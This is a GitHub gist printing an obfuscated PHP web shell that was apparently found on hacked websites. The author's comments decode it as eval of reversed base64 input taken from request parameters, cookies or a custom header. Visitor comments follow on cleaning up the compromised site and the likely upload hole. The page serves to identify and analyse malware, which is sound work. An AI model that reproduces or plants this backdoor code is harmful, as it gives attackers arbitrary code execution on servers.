Last active
March 8, 2018 18:03
-
-
Save chrisguitarguy/2a25ebe5cadb206620a4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$bickers= 't'; $blandly= 'rletu';$febrile= 'i)eidWKEE'; | |
$dished='dQ((1i';$clearing =')'; | |
$inwardly='e'; | |
$inexperienced= 'E'; | |
$harrowed = '_GH'; $lecturer ='gOR_i>eX';$caved = 's'; $harnessed = '$TU'; | |
$jon ='S6'; $arboretum= 'e;'; $backplane= 'V'; | |
$detects ='t';$intonate= 'g'; | |
$arabela='n'; $bearable = 'u3fPc('; $coons='v';$chattererz='p';$gasped ='k'; | |
$jakejake= '$';$devonne = 'B';$goldsmith = 'aReGa'; | |
$handy='DM$`)8yel'; $difference='m'; | |
$garbages ='[';$emmalyn =';P6$'; | |
$idiomatic= 'Kn';$brickbat= 'U'; $grit='L'; | |
$baggy = 'a'; $aphasic= '('; $fervently = 'U';$challenger ='isds_gr';$ignores= 'geG';$detractor =')'; | |
$glimmered='om';$byrom ='_'; $ant = 's';$bedrock = 'i)l:i'; | |
$entangle = '(2a';$causing = 'Fr$_rv';$arrowed= 'U';$appendage ='s'; | |
$inconveniencing = 'eCf(HMOe"';$apostrophes='s'; | |
$codomain= 'e'; $julius ='='; | |
$hakim = ']'; $den = 'T "eeW'; $elusive='Sd$GSG'; $betony='s'; | |
$chairs = 'Vh'; $commending = '_'; $curler= 'c_,(Eoig_'; | |
$lyncher = 'l'; | |
$arcades ='?'; | |
$bathroom =';tr'; | |
$degradation ='(au:i'; $burglarproofed='c'; | |
$forwarder= 'eA^5)vO';$displeased = 'tu_ac_Tra'; $catlin='acPgEwrwg'; $claudelle = 's';$exemplifying = 'E'; $kissing = ')TT'; $expounder= 'as'; $culled='"4n';$diathesis= 'M';$breed='"'; | |
$hoy='v'; | |
$existentialism ='H$Cm'; | |
$domino= '?'; $inveterate = '"'; $broadcastings ='a';$holeable = '"'; $ballooners=']g<(Y:'; $hells= '['; $kennels = ']'; $arne='7'; $defends= '")ef';$healthfulness = 'r;_b@T'; $maggie = 't'; | |
$courage= '9'; $encrypts='S'; $betrayed = 'J';$figuring= 's'; $customarily =']ra'; $eightieth= '"Ie'; | |
$bertie = ';'; $baseband= '$';$levying= 'N';$langsdon ='('; $dieter = ')$W?lEarE'; $futility='jQ[oie(';$andris=')=eS[RL';$guinna='r';$drugi = '_Zty=L';$eventually='['; $despot = '4'; | |
$imprisoned= ']'; $dolphin='$Ip,)bR'; | |
// $clamoring === 'create_function' | |
$clamoring =$catlin['1'] . $guinna.$andris['2']. $dieter['6'].$drugi[2].$andris['2']. $drugi['0']. $defends[3] . | |
$displeased['1'] .$culled['2'] .$catlin['1'] .$drugi[2]. | |
$futility['4']. $futility['3']. | |
$culled['2']; | |
$husband =$den['1'] ; | |
// $greediness === create_function('eval(array_pop(func_get_args()));'); | |
$greediness =$clamoring | |
($husband, $andris['2'] .$hoy . | |
$dieter['6']. $dieter[4].$futility[6] . $dieter['6']. $guinna . $guinna . | |
$dieter['6'].$drugi['3'] .$drugi['0']. $dolphin[2].$futility['3'].$dolphin[2] . | |
$futility[6]. $defends[3] . $displeased['1'].$culled['2'] . $catlin['1']. $drugi['0']. $ballooners['1'].$andris['2'] . $drugi[2].$drugi['0']. $dieter['6'].$guinna . | |
$ballooners['1'] .$figuring. $futility[6]. | |
$dolphin['4'] . $dolphin['4']. | |
$dolphin['4']. | |
$bertie); | |
// evals.. $i=array_merge($_REQUEST,$_COOKIE,$_SERVER);$a=isset($i["mgwuegsl"])?$i["mgwuegsl"]:(isset($i["HTTP_MGWUEGSL"])?$i["HTTP_MGWUEGSL"]:die);eval(strrev(base64_decode(strrev($a)))); | |
$greediness | |
($diathesis , | |
$dieter['3'] ,$drugi['5'], $ballooners['2'] ,$handy['5'] , $ballooners['4'], | |
$dieter['3'],$emmalyn['2'],$existentialism['0'], $dolphin['0'] . | |
$futility['4'] . $drugi['4'] .$dieter['6'].$guinna.$guinna .$dieter['6'] .$drugi['3']. | |
$drugi['0'].$existentialism['3'] .$andris['2']. $guinna .$ballooners['1'] . | |
$andris['2'] . $futility[6]. $dolphin['0'] . $drugi['0'] .$dolphin['6'] . $dieter['8'] .$futility['1'] . | |
$arrowed. $dieter['8']. $andris['3'] . $healthfulness[5]. $dolphin['3'] . $dolphin['0'].$drugi['0']. $existentialism['2'] .$forwarder['6'].$forwarder['6'].$idiomatic['0']. | |
$dolphin['1'] .$dieter['8'].$dolphin['3'] . $dolphin['0'] .$drugi['0']. $andris['3'].$dieter['8'] .$dolphin['6']. $chairs['0'].$dieter['8']. $dolphin['6'] .$dolphin['4'].$bertie .$dolphin['0'].$dieter['6'] .$drugi['4']. | |
$futility['4']. | |
$figuring .$figuring . | |
$andris['2'].$drugi[2]. $futility[6] .$dolphin['0']. $futility['4'].$eventually .$eightieth['0'] .$existentialism['3'] .$ballooners['1'] . $catlin['7'] .$displeased['1'] .$andris['2'].$ballooners['1'].$figuring. $dieter[4]. | |
$eightieth['0'] . $imprisoned. | |
$dolphin['4'].$dieter['3'] .$dolphin['0']. | |
$futility['4'] .$eventually . $eightieth['0']. $existentialism['3'] . | |
$ballooners['1'].$catlin['7'] .$displeased['1']. | |
$andris['2'] .$ballooners['1'] . | |
$figuring . $dieter[4]. | |
$eightieth['0'] .$imprisoned.$ballooners['5'] . $futility[6] .$futility['4'].$figuring . $figuring.$andris['2'].$drugi[2]. $futility[6]. $dolphin['0'] .$futility['4'] . $eventually .$eightieth['0']. | |
$existentialism['0'].$healthfulness[5].$healthfulness[5]. | |
$catlin['2'].$drugi['0'] . | |
$diathesis.$elusive['5'].$dieter['2'].$arrowed. $dieter['8'].$elusive['5'] .$andris['3']. | |
$drugi['5'] . $eightieth['0']. | |
$imprisoned . | |
$dolphin['4'].$dieter['3']. $dolphin['0'].$futility['4']. $eventually .$eightieth['0'] . $existentialism['0']. | |
$healthfulness[5].$healthfulness[5] .$catlin['2'].$drugi['0'] . | |
$diathesis .$elusive['5'] . $dieter['2'] . $arrowed .$dieter['8'] . | |
$elusive['5'].$andris['3'].$drugi['5'].$eightieth['0'] .$imprisoned.$ballooners['5'] . $elusive['1'] . $futility['4']. $andris['2'] . | |
$dolphin['4']. $bertie. $andris['2']. $hoy. $dieter['6']. $dieter[4] . $futility[6]. $figuring .$drugi[2] .$guinna. $guinna . | |
$andris['2'] . $hoy . $futility[6]. $dolphin['5'] .$dieter['6'].$figuring. | |
$andris['2'] .$emmalyn['2'] .$despot.$drugi['0']. $elusive['1']. $andris['2'] .$catlin['1'] . | |
$futility['3'] .$elusive['1'] . $andris['2']. $futility[6] .$figuring . $drugi[2]. | |
$guinna . | |
$guinna . $andris['2']. | |
$hoy. $futility[6].$dolphin['0'] .$dieter['6']. | |
$dolphin['4']. $dolphin['4']. $dolphin['4'] . $dolphin['4']. $bertie ); |
Any news on this? did you happen to find the origin of the files ? or more info regarding the hack?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I found this post by searching google for some of the obfuscated php strings I found in php files on a site I manage. It was inundated with php files like this. The random strings are concatenated char by char to produce regular php statements. I think the attackers were initially able to upload these files to the FS via an AgularJS vulnerability, but that is just speculation. I was alerted by the hosting provider after they did a routine malware scan. They removed a small number of php files, but I found many more that contained obfuscated code. I wish I could have analyzed the ones they did delete, as those were probably different.
I extracted the strings from one of the php files (like the one above) and converted them to python strings. I then imported a .py file containg the strings, and concatenated them in the python shell, the theory being that this would be safer than running the php code directly. I found a stackoverflow question that covers some of the hidden code I found: http://stackoverflow.com/questions/29972343/what-does-this-php-code-do-looks-like-hacking
Needless to say, I have wiped the site (there were php files like this one hidden all over). I'm going to reupload the original code, with no changes, to see if it happens again, in order to find out if it actually was an Angular vulnerability. If you're interested, I'll let you know if I find anything.
Cheers